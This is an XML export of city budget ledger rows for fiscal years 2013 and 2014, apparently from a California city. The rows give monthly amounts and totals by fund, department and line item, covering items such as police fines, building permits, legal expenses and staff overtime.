<row _id="66"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-122088</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-122088.0</total></row>
<row _id="67"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>20397.0</june><total>20397.0</total></row>
<row _id="68"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-1913.0</june><total>-1913.0</total></row>
<row _id="69"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>33548.0</june><total>33548.0</total></row>
<row _id="70"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-14245.0</june><total>-14245.0</total></row>
<row _id="71"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="72"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>729749.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7297</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>737046.0</total></row>
<row _id="73"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="74"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6683.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6683.0</total></row>
<row _id="75"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="76"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="77"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="78"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401150.0</object><object_description>MALL ASSESSMENT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1133116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1133116.0</total></row>
<row _id="79"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401920.0</object><object_description>FARMERS' MARKET</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-861000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-861000.0</total></row>
<row _id="80"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>401180.0</object><object_description>DISP COUNSELING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="81"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404950.0</object><object_description>HOME INVESTMENT PARTNERSHIPS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-461670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-461670.0</total></row>
<row _id="82"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400730.0</object><object_description>CA VEHICLE CODE FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="83"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400370.0</object><object_description>RESIDENTIAL BLDG REPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-165000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-165000.0</total></row>
<row _id="84"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="85"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>135000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="86"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>407012.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4070</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>411082.0</total></row>
<row _id="87"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1868.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1887.0</total></row>
<row _id="88"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13668.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13668.0</total></row>
<row _id="89"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="90"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="91"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2497.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2522.0</total></row>
<row _id="92"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="93"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17250.0</total></row>
<row _id="94"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>215000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>215000.0</total></row>
<row _id="95"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3690.0</total></row>
<row _id="96"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>522.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="97"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>566090.0</object><object_description>ENTERTAIN - PUBLIC GS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="98"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32208.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32208.0</total></row>
<row _id="99"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>543.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>543.0</total></row>
<row _id="100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405010.0</object><object_description>AUTO IMPOUND RELEASE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-227551.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-227551.0</total></row>
<row _id="104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400500.0</object><object_description>BUILDING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2475000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2475000.0</total></row>
<row _id="105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35996.0</total></row>
<row _id="106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19503.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19503.0</total></row>
<row _id="108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>90000.0</total></row>
<row _id="109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8405.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8405.0</total></row>
